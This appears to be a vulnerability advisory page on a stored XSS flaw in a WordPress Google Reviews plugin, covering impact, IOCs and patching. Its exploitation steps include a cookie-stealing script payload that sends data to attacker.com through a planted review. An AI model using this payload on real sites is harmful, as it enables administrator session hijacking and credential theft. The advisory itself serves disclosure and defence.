CVE-2025-12510
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-12510 is a Stored Cross-Site Scripting (XSS) vulnerability in the Widgets for Google Reviews WordPress plugin (by Trustindex), affecting all versions up to and including 13.2.4. The flaw stems from insufficient input sanitization and output escaping on Google Reviews data imported by the plugin, allowing unauthenticated attackers to inject malicious scripts via a Google Place review connected to the vulnerable site. It was published on December 6, 2025, and assigned a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin imports Google Reviews data from the Google Places API without adequately sanitizing reviewer-supplied content (e.g., review text) before storing or rendering it. An attacker who controls a Google account can post a malicious review containing JavaScript payloads to a Google Place linked to a vulnerable WordPress site; when the plugin imports and displays that review, the unsanitized script executes in the browser of any user (including administrators) who views the imported reviews in the admin panel or on the frontend. The vulnerable code paths are visible in the plugin source at lines 5907 and 5932 of trustindex-plugin.class.php (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of the WordPress admin panel or the site frontend, impacting both confidentiality and integrity (CVSS scope: Changed). Consequences include session hijacking of administrator accounts, credential theft, unauthorized administrative actions (e.g., creating rogue admin users, installing malicious plugins), and potential defacement or malware injection into the frontend. The attack surface is broadened by the fact that no authentication or user interaction on the victim site is required — only the ability to post a Google review (Wordfence, ENISA EUVD).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.087% (very low probability of near-term exploitation). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires only a Google account to post a review — a very low barrier — making it accessible to a wide range of threat actors targeting WordPress sites using this plugin (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites using the "Widgets for Google Reviews" plugin (versions ≤ 13.2.4) by searching for plugin-specific HTML markers or using tools like WPScan. Confirm the site has a linked Google Place.
  2. Craft malicious review: Using a Google account, navigate to the Google Place connected to the target WordPress site and submit a review containing a JavaScript payload in the review text, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML-encoded variant.
  3. Trigger plugin import: Wait for or trigger the plugin to import/sync Google Reviews data. The plugin periodically fetches reviews from the Google Places API and stores them without sanitization.
  4. Payload execution: When a WordPress administrator (or frontend visitor) views the imported reviews page, the injected script executes in their browser context, enabling session cookie theft, credential harvesting, or further malicious actions such as creating a backdoor admin account (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing requests to admin pages that render Google Reviews (e.g., /wp-admin/ pages with review widgets) from unexpected IP addresses shortly after a new review is imported; PHP error logs referencing trustindex-plugin.class.php around review import events.
  • File System: Unexpected modifications to WordPress core files, theme files, or newly created PHP backdoors in the uploads or plugins directory following admin session compromise.
  • Network: Outbound HTTP requests from the web server to unknown external domains (potential exfiltration endpoints) triggered after admin page loads; unusual DNS lookups from the WordPress server.
  • Process/Application: New WordPress administrator accounts created without authorization; unexpected plugin installations or deactivations logged in the WordPress audit trail.

Mitigation and workarounds

Update the Widgets for Google Reviews plugin to version 13.2.5 or later, which includes the fix for insufficient sanitization and output escaping (Wordfence, WordPress Trac Changeset). As a temporary workaround if immediate patching is not possible, consider disabling the plugin or restricting access to admin pages that render imported Google Reviews. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help reduce exposure while the patch is applied.

Community reactions

The vulnerability was reported by Wordfence, which assigned it and published the advisory on December 6, 2025. Sucuri included it in their December 2025 vulnerability patch roundup, noting it as one of several WordPress plugin XSS issues addressed that month (Sucuri Blog). RedPacket Security and several automated CVE tracking accounts on Mastodon and Bluesky flagged the disclosure shortly after publication, reflecting routine community monitoring rather than significant alarm given the moderate exploitation barrier.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-78570CRITICAL9.8
  • totaldonations
NoNoAug 25, 2026
CVE-2026-78568CRITICAL9.8
  • totaldonations
NoNoAug 25, 2026
CVE-2026-78572HIGH8.1
  • kalles-addons
NoNoAug 25, 2026
CVE-2026-78576HIGH7.5
  • readabler
NoYesAug 25, 2026
CVE-2026-76128MEDIUM6.4
  • ecommerce-product-catalog
NoYesAug 25, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management